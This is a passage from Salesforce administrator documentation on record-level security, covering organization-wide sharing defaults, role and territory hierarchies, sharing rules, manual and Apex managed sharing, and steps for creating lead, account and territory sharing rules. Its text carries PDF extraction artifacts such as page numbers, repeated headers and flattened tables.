don't have to match your organization chart exactly. Instead, each role in the hierarchy should represent a level of data access that a user or group of users needs. You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example, you could create a territory hierarchy in which a user with the North America role has access to different data than users with the Canada and United States roles. Note: Although it's easy to confuse permission sets and profiles with roles, they control two very different things. Permission sets and profiles control a user's object and field access permissions. Roles primarily control a user's record-level access through role hierarchy and sharing rules. Sharing rulesSharing rules let you make automatic exceptions to organization-wide sharing settings for particular sets of users, to give them access to records they don't own or can't normally see. Sharing rules, like role hierarchies, are only used to give additional users access to recordsthey can't be stricter than your organization-wide default settings. Manual sharingSometimes it's impossible to define a consistent group of users who need access to a particular set of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who would not have access to the record any other way. Although manual sharing isn't automated like organization-wide sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need to see them. Apex managed sharingIf sharing rules and manual sharing don't give you the control you need, you can use Apex managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed sharing to share a custom object, only users with the Modify All Data permission can add or change the sharing on the custom object's record, and the sharing access is maintained across record owner changes.

See Also:
Managing the Sharing Settings Managing Roles

Managing the Sharing Settings

582

Security and Sharing

Managing the Sharing Settings

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Teams are not available in Database.com

User Permissions Needed To set default sharing access: Manage Users AND Customize Application

Using Salesforce, you can control access to data at many different levels. For example, you can control the access your users have to objects with object permissions. Within objects, you can control the access users have to fields using field-level security. To control access to data at the record level, use the sharing settings described below. To view your sharing settings, click Your Name > Setup > Security Controls > Sharing Settings. You can either view all lists at once, or you can use the Manage sharing settings for drop-down list at the top of the page to view only organization-wide defaults and sharing rules for a selected object.

Organization-Wide Defaults
Your organization-wide default sharing settings give you a baseline level of access for each object and enable you to extend that level of access using hierarchies or sharing rules. For example, you can set the organization-wide default for leads to Private if you only want users to view and edit the leads they own. Then, you can create lead sharing rules to extend access of leads to particular users or groups.

Sharing Rules
Sharing rules represent the exceptions to your organization-wide default settings. If you have organization-wide sharing defaults of Public Read Only or Private, you can define rules that give additional users access to records they do not own. You can create sharing rules based on record owner or field values in the record. Tip: Sometimes it's impossible to define a consistent group of users who need access to a particular set of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who would not have access to the record any other way. Although manual sharing isn't automated like organization-wide sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need to see them.

Apex Managed Sharing


Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed sharing to share a custom object, only users with the Modify All Data permission can add or change the sharing on the custom object's record, and the sharing access is maintained across record owner changes. For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Other Methods for Allowing Access to Records


In addition to sharing settings, there are a few other ways to allow multiple users access to given records:

583

Security and Sharing

Managing the Sharing Settings

Map category groups to roles Control access to data categories by mapping them to user roles. See About Category Group Visibility on page 1453. Queues Queues help your teams manage leads, cases, service contracts, and custom objects. Once records are placed in a queue manually or through an automatic case or lead assignment rule, records remain there until they're assigned to a user or taken by one of the queue members. Any queue member or users above them in the role hierarchy can take ownership of records in a queue. Use queues to route lead, case, and custom object records to a group. Teams For accounts, opportunities, and cases, record owners can use teams to allow other users access to their records. A team is a group of users that work together on an account, sales opportunity, or case. Record owners can build a team for each record that they own. The record owner adds team members and specifies the level of access each team member has to the record, so that some team members can have read-only access and others can have read/write access. The record owner can also specify a role for each team member, such as Executive Sponsor. In account teams, team members also have access to any contacts, opportunities, and cases associated with an account. Note: A team member may have a higher level of access to a record for other reasons, such as a role or sharing rule. In this case, the team member has the highest access level granted, regardless of the access level specified in the team.

See Also:
Sharing Considerations Account Teams Overview Sales Teams Overview Case Teams Overview Securing Data Access

Viewing Sharing Overrides


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view sharing overrides: View Setup and Configuration

When you select an object in the Sharing Settings page, the page includes a Sharing Overrides related list, which shows any profiles that ignore sharing settings for that object. To view the Sharing Overrides list, click Your Name > Setup > Security Controls > Sharing Settings, then select an object from the Manage Sharing Settings For list. For each profile, the list specifies the permissions that allow it to override sharing settings. The View All Data and Modify All Data permissions override sharing settings for all objects in the organization, while the object permissions View All and Modify All override sharing settings for the named object.

584

Security and Sharing

About Organization-Wide Sharing Defaults

Note: The Sharing Overrides list doesn't show permissions granted through permission sets, which may also override sharing settings for an object. To override sharing settings for specific objects, you can create or edit permission sets or profiles and enable the View All and Modify All object permissions. These permissions provide access to all records associated with an object across the organization, regardless of the sharing settings. Before setting these permissions, compare the different ways to control data access.

See Also:
Object Permissions Comparing Security Models Managing the Sharing Settings

About Organization-Wide Sharing Defaults


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions. Customer Portal is not available in Database.com

Administrators can use organization-wide sharing settings to define the default sharing settings for an organization. Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects. For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write. In environments where the organization-wide sharing setting for an object is Private or Public Read Only, an administrator can grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can only be used to grant additional accessthey cannot be used to restrict access to records beyond what was originally specified with the organization-wide sharing defaults. Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by default your customers can view only their own data. You can still grant your Salesforce users Public Read/Write access by creating sharing rules in which all internal users share with all internal users. By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users above the record owner in the hierarchy. Professional, Enterprise, Unlimited, and Developer Edition organizations can disable this for custom objects using the Grant Access Using Hierarchies checkbox. If you deselect this checkbox for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the records.

See Also:
Setting Your Organization-Wide Sharing Defaults Managing Roles Sharing Rules Overview Setting Up Your Customer Portal

585

Security and Sharing

Built-in Sharing Behavior

Built-in Sharing Behavior


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions Sharing for cases and opportunities is available in Enterprise, Unlimited, and Developer Editions

Although you can control data access at a granular level with security controls, you may encounter cases where a user can view a parent or child of a record that they have access to. An account is the parent of several child entitiesopportunity, case, and contact. For example, a user with access to a case can view the associated parent account. Similarly, a user with access to a parent account can view associated child entities. Salesforce provides implicit sharing between accounts and child objects, and also for various groups of portal users, summarized as follows. Sharing between accounts and child entities Access to a parent accountIf you have access to a child record of an account, you have implicit Read Only access on that account. Access to child accountIf you have access to a parent account, you may have access to the associated child entities. The account owner's role determines the level of access to child entities.

Built-in sharing behavior for portal users Account and case accessA portal user of an account has Read Only access to the parent account and to all contacts of that account. Management access to data owned by Service Cloud portal usersSince Service Cloud portal users don't have roles, portal account owners can't access their data via the role hierarchy. To grant them access to this data, account owners can be added to the share group of the portal where the Service Cloud portal users are working in. This provides access to all data owned by Service Cloud portal users in that portal. Case accessIf a portal user is a contact on a case, then the user has Read Only access on the case.

See Also:
Sharing Considerations Securing Data Access Creating Account Sharing Rules Granting Access to Records

Setting Your Organization-Wide Sharing Defaults

586

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Solutions, Service Contracts, Documents, Forecasts, Reports, and Dashboards are not available in Database.com

User Permissions Needed To set default sharing access: Manage Users AND Customize Application

1. 2. 3. 4.

Click Your Name > Setup > Security Controls > Sharing Settings. Click Edit in the Organization-Wide Defaults area. For each object, select the default access you want. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that does not have a default access of Controlled by Parent. Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy don't receive automatic access. However, some userssuch as those with the View All and Modify All object permissions and the View All Data and Modify All Data system permissionscan still access records they don't own.

Limitations
You can't change the organization-wide sharing default setting for some objects: Solutions are always Public Read/Write. Service contracts are always Private. The ability to view or edit a document, report, or dashboard is based on a user's access to the folder in which it's stored. Users can only view the forecasts of other users who are placed below them in the role hierarchy, unless forecast sharing is enabled. For more information, see Manually Sharing a Forecast on page 1271. When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default is set to Controlled by Parent and it is not editable. You can't change the organization-wide default settings from private to public for a custom object if an Apex script uses the sharing entries associated with that object. For example, if a script retrieves the users and groups who have sharing access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's organization-wide sharing setting from private to public.

See Also:
Managing the Sharing Settings Sharing Default Access Settings

Default Organization-Wide Sharing Settings

587

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Available in: Professional, Enterprise, Unlimited,Developer, and Database.com Editions. Except for Custom Objects, all object types are not available in Database.com

The default organization-wide sharing settings are: Object Accounts Activities Assets Calendar Campaigns Cases Contacts Contracts Custom Objects Leads Opportunities Price Books Service Contracts Default Access Public Read/Write Private Public Read/Write Hide Details and Add Events Public Full Access Public Read/Write/Transfer Controlled by Parent Public Read/Write Public Read/Write Public Read/Write/Transfer Public Read Only Use Private

See Also:
About Organization-Wide Sharing Defaults Setting Your Organization-Wide Sharing Defaults

Sharing Default Access Settings

588

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Only Custom Objects are available in Database.com

User Permissions Needed To set default sharing access: Manage Users

You can use organization-wide defaults to set the default level of record access for the following objects. Accounts and their associated contracts and assets Activities Calendars Campaigns Cases Contacts Custom objects Leads Opportunities Price books Service contracts

You can assign the following access levels to accounts, campaigns, cases, contacts, contracts, leads, opportunities, and custom objects. Field
Controlled by Parent

Description A user can perform an action (such as view, edit, or delete) on a contact based on whether he or she can perform that same action on the record associated with it. For example, if a contact is associated with the Acme account, then a user can only edit that contact if he or she can also edit the Acme account.

Private

Only the record owner, and users above that role in the hierarchy, can view, edit, and report on those records. For example, if Tom is the owner of an account, and he is assigned to the role of Western Sales, reporting to Carol (who is in the role of VP of Western Region Sales), then Carol can also view, edit, and report on Toms accounts.

589

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field
Public Read Only

Description All users can view and report on records but not edit them. Only the owner, and users above that role in the hierarchy, can edit those records. For example, Sara is the owner of ABC Corp. Sara is also in the role Western Sales, reporting to Carol, who is in the role of VP of Western Region Sales. Sara and Carol have full read/write access to ABC Corp. Tom (another Western Sales Rep) can also view and report on ABC Corp, but cannot edit it.

Public Read/Write

All users can view, edit, and report on all records. For example, if Tom is the owner of Trident Inc., all other users can view, edit, and report on the Trident account. However, only Tom can alter the sharing settings or delete the Trident account.

Public Read/Write/Transfer

All users can view, edit, transfer, and report on all records. Only available for cases or leads. For example, if Alice is the owner of ACME case number 100, all other users can view, edit, transfer ownership, and report on that case. But only Alice can delete or change the sharing on case 100.

Public Full Access

All users can view, edit, transfer, delete, and report on all records. Only available for campaigns. For example, if Ben is the owner of a campaign, all other users can view, edit, transfer, or delete that campaign.

Note: To use cases effectively, set the organization-wide default for Account, Contact, Contract, and Asset to Public Read/Write. You can assign the following access levels to personal calendars. Field
Hide Details

Description Others can see whether the user is available at given times, but can not see any other information about the nature of events in the users calendar. In addition to the sharing levels set by Hide Details, users can insert events in other users calendars. Users can see detailed information about events in other users calendars.

Hide Details and Add Events

Show Details

590

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field
Show Details and Add Events

Description In addition to the sharing levels set by Show Details, users can insert events in other users calendars. Users can see detailed information about events in other users calendars, insert events in other users calendars, and edit existing events in other users calendars.

Full Access

Note: Regardless of the organization-wide defaults that have been set for calendars, all users can invite all other users to events. You can assign the following access levels to price books. Field
Use

Description All users can view price books and add them to opportunities. Users can add any product within that price book to an opportunity. All users can view and report on price books but only users with the Edit permission on opportunities or users that have been manually granted use access to the price book can add them to opportunities. Users cannot see price books or add them to opportunities. Use this access level in your organization-wide default if you want only selected users to access selected price books. Then, manually share the appropriate price books with the appropriate users. For information on manually sharing a price book to your users, see Sharing Price Books on page 2337.

View Only

No Access

You can assign the following access levels to activities. Field


Private

Description Only the activity owner, and users above the activity owner in the role hierarchy, can edit and delete the activity; users with read access to the record to which the activity is associated can view and report on the activity. A user can perform an action (such as view, edit, transfer, and delete) on an activity based on whether he or she can perform that same action on the records associated with the activity. For example, if a task is associated with the Acme account and the John Smith contact, then a user can only edit that task

Controlled by Parent

591

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field

Description if he or she can also edit the Acme account and the John Smith record.

See Also:
Setting Your Organization-Wide Sharing Defaults Managing the Sharing Settings

Sharing Considerations
Your organization's sharing model gives users access to records they do not own. The sharing model is a complex relationship between role hierarchies, user permissions, sharing rules, and exceptions for certain situations. Review the following notes before setting your sharing model: Exceptions to Role Hierarchy-based Sharing Users can always view and edit all data owned by or shared with users below them in the role hierarchy. Exceptions to this include: An option on your organization-wide default allows you to ignore the hierarchies when determining access to data. For more information on this setting, see Controlling Access Using Hierarchies on page 594. Contacts that are not linked to an account are always private. Only the owner of the contact and administrators can view it. Contact sharing rules do not apply to private contacts. Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them and administrators. Events marked as private via the Private checkbox are accessible only by the event owner. Other users cannot see the event details when viewing the event owners calendar. However, users with the View All Data or Modify All Data permission can see private event details in reports and searches, or when viewing other users calendars. Users above a record owner in the role hierarchy can only view or edit the record owners records if they have the Read or Edit object permission for the type of record

Deleting Records The ability to delete individual records is controlled by administrators, the record owner, users in a role hierarchy above the record owner, and any user that has been granted Full Access. If the sharing model is set to Public Read/Write/Transfer for cases or leads or Public Full Access for campaigns, any user can delete those types of records.

Adding Related Items to a Record You must have Read/Write access to a record to be able to add notes or attachments to the record. You must have at least Read access to a record to be able to add activities or other associated records to it.

592

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Adding or Removing Sharing Access Manually The ability to manually extend the sharing access of individual records is controlled by administrators, the record owner, users in a role hierarchy above the record owner, and any user that has been granted Full Access. See Sharing Accounts on page 84, Sharing Campaigns on page 2565, Sharing Contacts on page 185, Sharing Opportunities on page 2277, Sharing Cases on page 2828, and Sharing Leads on page 2589. Changing your sharing model deletes any manual shares your users have created.

User Permissions and Object-Level Permissions While your sharing model controls visibility to records, user permissions and object-level permissions control what users can do to those records. Regardless of the sharing settings, users must have the appropriate object-level permissions. For example, if you share an account, those users can only see the account if they have the Read permission on accounts. Likewise, users who have the Edit permission on contacts may still not be able to edit contacts they do not own if they are working in a Private sharing model. Administrators, and users with the View All Data or Modify All Data permissions, have access to view or edit all data.

Account Sharing To restrict users access to records they do not own that are associated with accounts they do own, set the appropriate access level on the role. For example, you can restrict a user's access to opportunities they do not own yet are associated with accounts they do own using the Opportunity Access option. Regardless of the organization-wide defaults, users can, at a minimum, view the accounts in their territories. Also, users can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts.

Apex Sharing You can't change the organization-wide default settings from private to public for a custom object if an Apex script uses the sharing entries associated with that object. For example, if a script retrieves the users and groups who have sharing access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's organization-wide sharing setting from private to public.

Campaign Sharing In Enterprise, Unlimited, and Developer Editions, designate all users as Marketing Users when enabling campaign sharing. This simplifies administration and troubleshooting because access can be controlled using sharing and profiles. Note: Professional Edition customers cannot manage users this way because custom profiles are not enabled in Professional Edition organizations. To segment visibility between business units while maintaining existing behavior within a business unit: 1. Set the campaign organization-wide default to Private. 2. Create a sharing rule to grant marketing users Public Full Access to all campaigns owned by users within their business unit. 3. Create a sharing rule to grant all non-marketing users in a business unit Read Only access to all campaigns owned by users in their business unit. When a single user, such as a regional marketing manager, owns multiple campaigns and needs to segment visibility between business units, share campaigns individually instead of using sharing rules. Sharing rules apply to all campaigns owned by a user and do not allow segmenting visibility.

593

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Create all campaign sharing rules prior to changing your organization-wide default to reduce the affect the change has on your users. To share all campaigns in your organization with a group of users or a specific role, create a sharing rule that applies to campaigns owned by members of the Entire Organization public group. Minimize the number of sharing rules you need to create by using the Roles and Subordinates option instead of choosing a specific role. If campaign hierarchy statistics are added to the page layout, a user can see aggregate data for a parent campaign and all the campaigns below it in the hierarchy regardless of whether that user has sharing rights to a particular campaign within the hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy statistics. If you do not want users to see aggregate hierarchy data, remove any or all of the campaign hierarchy statistics fields from the Campaign Hierarchy related list. These fields will still be available for reporting purposes. For more information, see Viewing Campaign Hierarchy Statistics on page 2526. If the sharing model is set to Public Full Access for campaigns, any user can delete those types of records.

Campaign Member Sharing Campaign member sharing is controlled by campaign sharing rules. Users that can see a campaign can also see associated campaign members. Contact Sharing The organization-wide sharing default for contacts is not available to organizations that have person accounts enabled. If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's account.

Price Book Sharing Sharing on price books controls whether users can add the price book and its products to opportunities. User permissions control whether users can view, create, edit, and delete price books.

Controlling Access Using Hierarchies

594

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Territories are not available in Database.com

User Permissions Needed To set default sharing access: Manage Users AND Customize Application To change the Grant Access Using Hierarchies option: Manage Users AND Customize Application

Beyond setting the organization-wide sharing defaults for each object, your organization can specify whether users have access to the data owned by or shared with their subordinates in the hierarchy. For example, hierarchies like the role hierarchy or territory hierarchy automatically grant record access to users above the record owner in the hierarchy. The Grant Access Using Hierarchies option in the organization-wide defaults determines the access users have to records that they do not own, including records they do not have sharing access to but someone below them in the hierarchy does. By default, the Grant Access Using Hierarchies option is enabled for all objects, and it can only be changed for custom objects. To control sharing access using hierarchies for any custom object, click Your Name > Setup > Security Controls > Sharing Settings and Edit in the Organization Wide Defaults section. Deselect Grant Access Using Hierarchies if you want to prevent users from gaining automatic access to data owned by or shared with their subordinates in the hierarchies. Implementation Notes Regardless of your organization's sharing settings, users can gain access to records they do not own through other means such as user permissions like View All Data, sharing rules, or manual sharing of individual records. The Grant Access Using Hierarchies option is always selected on standard objects and is not editable. If you disable the Grant Access Using Hierarchies option, sharing with a role or territory and subordinates only shares with the users directly associated with the role or territory selected. Users in roles or territories above them in the hierarchies will not gain access. If your organization disables the Grant Access Using Hierarchies option, activities associated with a custom object are still visible to users above the activitys assignee in the role hierarchy. If a master-detail relationship is broken by deleting the relationship, the former detail custom object's default setting is automatically reverted to Public Read/Write and Grant Access Using Hierarchies is selected by default. The Grant Access Using Hierarchies option affects which users gain access to data when something is shared with public groups, personal groups, queues, roles, or territories.The Grant Access Using Hierarchies option affects which users gain access to data when something is shared with public groups, personal groups, queues, or roles. For example, the View All Users option displays group members and people above them in the hierarchies when a record is shared with them using a sharing rule or manual sharing and the Grant Access Using Hierarchies option is selected. When the Grant Access Using Hierarchies option is not selected, some users in these groups no longer have access. The following list covers the access reasons that depend on the Grant Access Using Hierarchies option.

595

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

These reasons always gain access: Group Member Queue Member Role Member Member of Subordinate Role Territory Member Member of Subordinate Territory These reasons only gain access when using hierarchies: Manager of Group Member Manager of Queue Member Manager of Role Manager of Territory User Role Manager of Territory Best Practices When you deselect Grant Access Using Hierarchies, notify users of the changes in report results that they can expect due to losing visibility of their subordinates' data. For example, selecting My team's... in the View drop-down list returns records owned by the user; it will not include records owned by their subordinates. To be included in this type of report view, records from subordinates must be explicitly shared with that user by some other means such as a sharing rule or a manual share. So, if no records are shared with you manually, the My... and My team's... options in the View drop-down list return the same results. However, choosing the Activities with... any custom object report type when creating a custom report returns activities assigned to you as well as your subordinates in the role hierarchy.

See Also:
Sharing Default Access Settings Setting Your Organization-Wide Sharing Defaults

Creating Apex Sharing Reasons


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create Apex sharing reasons: To view Apex sharing reasons: Author Apex View Setup and Configuration

When creating Apex managed sharing, create Apex sharing reasons for individual custom objects to indicate why sharing was implemented, simplify the coding required to update and delete sharing records, and share a record multiple times with the same user or group using different Apex sharing reasons.

596

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Note: For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Salesforce displays Apex sharing reasons in the Reason column when viewing the sharing for a custom object record in the user interface. This allows users and administrators to understand the purpose of the sharing. When working with Apex sharing reasons, note the following: Only users with the Modify All Data permission can add, edit, or delete sharing that uses an Apex sharing reason. Deleting an Apex sharing reason will delete all sharing on the object that uses the reason. You can create up to 10 Apex sharing reasons per custom object.

To create an Apex sharing reason: 1. 2. 3. 4. Click Your Name > Setup > Create > Objects. Select the custom object. Click New in the Apex Sharing Reasons related list. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the user interface. The label is also enabled for translation through the Translation Workbench. 5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the Force.com API and Apex. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. Click Save.

See Also:
Recalculating Apex Managed Sharing Apex Code Overview Setting Your Organization-Wide Sharing Defaults Granting Access to Records

Recalculating Apex Managed Sharing


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To associate an Apex managed sharing recalculation class: To run an Apex managed sharing recalculation: Author Apex Author Apex OR Manage Users

Important: Apex sharing recalculations are only available by request. When packaging custom objects, remember that associated Apex sharing recalculations are also included and may prevent the package from installing. Contact salesforce.com for more information.

597

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can associate these classes with a custom object on its detail page, and execute them if a locking issue prevents an Apex script from granting access to a user as defined by the applications logic. Apex sharing recalculations are also useful for resolving visibility issues due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing records they should see, the correction might only affect records created after the code update. To ensure the correction applies to existing records as well, the developer can run an Apex sharing recalculation to validate sharing on all records. You can run Apex sharing recalculations from a custom object's detail page. You can also run them programmatically using the Database.executeBatch method. In addition, Salesforce automatically runs Apex recalculation classes defined for a custom object every time a custom object's organization wide sharing default access level is updated. Note: Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes. The recalculation includes access granted by sharing rules. In addition, all types of sharing are removed if the access they grant is redundant. For example, the manual sharing which grants Read Only access to a user is deleted when the objects sharing model is changed from Private to Public Read Only. For information on creating Apex managed sharing and recalculation classes, see the Force.com Apex Code Developer's Guide. To associate an Apex managed sharing recalculation class with a custom object: 1. 2. 3. 4. Click Your Name > Setup > Create > Objects. Select the custom object. Click New in the Apex Sharing Recalculations related list. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object. 5. Click Save. To run an Apex sharing recalculation: 1. Click Your Name > Setup > Create > Objects. 2. Select the custom object. 3. Click Recalculate Apex Sharing. When working with Apex sharing recalculations, note the following: The Apex script that extends the sharing recalculation can process a maximum of five million records. If the script affects more than five million records, the job fails immediately. You can monitor the status of Apex sharing recalculations in the Apex job queue. You can associate a maximum of five Apex sharing recalculations per custom object. You cannot associate Apex sharing recalculations with standard objects.

See Also:
Creating Apex Sharing Reasons Apex Code Overview Setting Your Organization-Wide Sharing Defaults

Sharing Rules Overview


598

Security and Sharing

Sharing Rules Overview

Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Only custom object sharing rules are available in Database.com

With sharing rules, you can make automatic exceptions to your organization-wide sharing settings for defined sets of users. For example, use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never be stricter than your organization-wide default settings. They simply allow greater access for particular users. You can create the following types of sharing rules. Type Account sharing rules Based on Account owner or other criteria, including account record types or field values Territory assignment Campaign owner Case owner or other criteria, including case record types or field values Set Default Sharing Access for Accounts and their associated contracts, assets, opportunities, cases, and optionally, contacts Accounts and their associated cases, contacts, contracts, and opportunities Individual campaign records Individual cases and associated accounts

Account territory sharing rules Campaign sharing rules Case sharing rules Contact sharing rules Custom object sharing rules

Contact owner or other criteria, including Individual contacts and associated contact record types or field values accounts Custom object owner or other criteria, Individual custom object records including custom object record types or field values Lead owner Opportunity owner or other criteria, including opportunity record types or field values Individual leads Individual opportunities and their associated accounts

Lead sharing rules Opportunity sharing rules

Note: You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups.

599

Security and Sharing

Sharing Rules Overview

Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria).

See Also:
Criteria-Based Sharing Rules Overview Sharing Rule Considerations Creating Apex Sharing Reasons Managing the Sharing Settings About High-Volume Portal Users (Service Cloud Portal Users)

Criteria-Based Sharing Rules Overview


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Accounts, Opportunities, Cases, and Contacts are not available in Database.com

Criteria-based sharing rules determine whom to share records with based on field values in records. For example, let's say you use a custom object for job applications, with a custom picklist field named Department. You can create a criteria-based sharing rule that shares all job applications in which the Department field is set to IT with all IT managers in your organization. Note: Although criteria-based sharing rules are based on values in the records and not the record owners, a role or territory hierarchy still allows users higher in the hierarchy to access the records. Currently, you can't use Apex or the Metadata API to create criteria-based sharing rules. You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups.

You can create criteria-based sharing rules for accounts, opportunities, cases, contacts, and custom objects. You can create up to 50 criteria-based sharing rules per object. Record types These field types: Auto Number Checkbox Date Date/Time Email Number Percent Phone Picklist Text Text Area

600

Security and Sharing

Sharing Rules Overview

URL Lookup Relationship (to user ID or queue ID) Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies Manager in a text field won't share records with manager in the field. To create a rule with several common cases of a word, enter each value separated by a comma.

See Also:
Sharing Rules Overview Managing Record Types Custom Field Types Managing Roles Creating Workflow Rules Managing Apex Triggers

Creating Lead Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Lead sharing rules are based on the record owner. You can define up to 300 lead sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Lead Sharing Rules related list, click New. In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). 5. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 6. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

601

Security and Sharing

Sharing Rules Overview

7. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview

Creating Account Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Account sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 account sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. 5. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Account Sharing Rules related list, click New. Select a rule type. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Advanced Options... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

6. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 7. Select a setting for Default Account, Contract and Asset Access. 8. In the remaining fields, select the access settings for the records associated with the shared accounts. Access Setting Private (available for associated contacts, opportunities, and cases only) Description Users can't view or update records, unless access is granted outside of this sharing rule.

602

Security and Sharing

Sharing Rules Overview

Access Setting Read Only Read/Write

Description Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

9. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Creating Account Territory Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Account territory sharing rules are based on territory assignment. You can define up to 300 account territory sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Account Territory Sharing Rules related list, click New. In the Accounts in Territory line, select Territories or Territories and Subordinates from the first drop-down list and a territory from the second drop-down list. 5. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 6. Select a setting for Default Account, Contract and Asset Access. 7. In the remaining fields, select the access setting for the records associated with the shared account territories. Access Setting Private (available for associated contacts, opportunities, and cases only) Description Users can't view or update records, unless access is granted outside of this sharing rule.

603

Security and Sharing

Sharing Rules Overview

Access Setting Read Only Read/Write

Description Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

8. Click Save.

See Also:
Creating and Editing Groups Territory Management Overview Sharing Rules Overview

Creating Contact Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

